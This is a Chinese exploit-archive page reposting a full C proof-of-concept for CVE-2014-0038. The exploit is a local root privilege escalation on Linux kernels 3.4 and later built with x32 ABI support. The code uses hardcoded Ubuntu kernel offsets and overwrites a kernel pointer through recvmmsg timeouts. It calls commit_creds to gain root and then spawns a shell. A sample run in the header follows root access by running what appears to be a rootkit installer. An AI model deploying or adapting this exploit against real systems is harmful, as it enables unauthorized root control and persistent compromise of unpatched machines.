首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux kernel 3.4+ local root (CONFIG_X86_X32=y)
来源:rebel @ irc.smashthestack.org 作者:rebel 发布时间:2014-02-10  
/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------
   
takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.
   
some things you could do while waiting:
  * read https://wiki.ubuntu.com/Security/Features and smirk a few times
  * brew some coffee
  * stare at the countdown giggly with anticipation
   
could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.
   
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
   
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..
   
same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y
   
user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left.    
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..
   
:)=
   
greets to my homeboys kaliman, beist, capsl & all of #social
   
Sat Feb  1 22:15:19 CET 2014
% rebel %
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
   
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>
   
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200
   
int port;
   
struct offset {
    char *kernel_version;
    unsigned long dest; // net_sysctl_root + 96
    unsigned long original_value; // net_ctl_permissions
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
};
   
struct offset offsets[] = {
    {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
    {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
    {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
    {NULL,0,0,0,0}
};
   
void udp(int b) {
    int sockfd;
    struct sockaddr_in servaddr,cliaddr;
    int s = 0xff+1;
   
    if(fork() == 0) {
        while(s > 0) {
            fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
            sleep(1);
            s--;
            fprintf(stderr,".");
        }
   
        sockfd = socket(AF_INET,SOCK_DGRAM,0);
        bzero(&servaddr,sizeof(servaddr));
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
        servaddr.sin_port=htons(port);
        sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
        exit(0);
    }
   
}
   
void trigger() {
    open("/proc/sys/net/core/somaxconn",O_RDONLY);
   
    if(getuid() != 0) {
        fprintf(stderr,"not root, ya blew it!\n");
        exit(-1);
    }
   
    fprintf(stderr,"w00p w00p!\n");
    system("/bin/sh -i");
}
   
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
   
// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}
   
void __attribute__((regparm(3)))
trampoline()
{
    asm("mov $getroot, %rax; call *%rax;");
}
   
int main(void)
{
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char buf[BUFSIZE];
    long mmapped;
    struct utsname u;
    struct offset *off = NULL;
   
    uname(&u);
   
    for(i=0;offsets[i].kernel_version != NULL;i++) {
        if(!strcmp(offsets[i].kernel_version,u.release)) {
            off = &offsets[i];
            break;
        }
    }
   
    if(!off) {
        fprintf(stderr,"no offsets for this kernel version..\n");
        exit(-1);
    }
   
    mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));
    mmapped &= 0x000000ffffffffff;
   
        srand(time(NULL));
    port = (rand() % 30000)+1500;
   
    commit_creds = (_commit_creds)off->commit_creds;
    prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
   
    mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
   
    if(mmapped == -1) {
        perror("mmap()");
        exit(-1);
    }
   
    memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
   
    memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
   
    if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
        perror("mprotect()");
        exit(-1);
    }
       
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(-1);
    }
   
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(port);
   
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(-1);
    }
   
    memset(msgs, 0, sizeof(msgs));
   
    iovecs[0].iov_base = &buf;
    iovecs[0].iov_len = BUFSIZE;
    msgs[0].msg_hdr.msg_iov = &iovecs[0];
    msgs[0].msg_hdr.msg_iovlen = 1;
   
    for(i=0;i < 3 ;i++) {
        udp(i);
        retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
        if(!retval) {
            fprintf(stderr,"\nrecvmmsg() failed\n");
        }
    }
   
    close(sockfd);
   
    fprintf(stderr,"\n");
   
    trigger();
}
  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux 3.4+ recvmmsg x32 compat
·Linux kernel 3.4+ Arbitrary wr
·PCMAN FTP 2.07 CWD Command - B
·Apache Tomcat Manager Code Exe
·haneWIN DNS Server 1.5.3 - Buf
·SkyBlueCanvas CMS Remote Code
·PCMAN FTP 2.07 ABOR Command -
·Apache Struts Developer Mode O
·Oracle Forms and Reports 11.1
·XnView 1.92.1 Command-Line Arg
·Motorola SBG6580 Cable Modem &
·VLC 2.1.2 (.asf) - Crash PoC
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved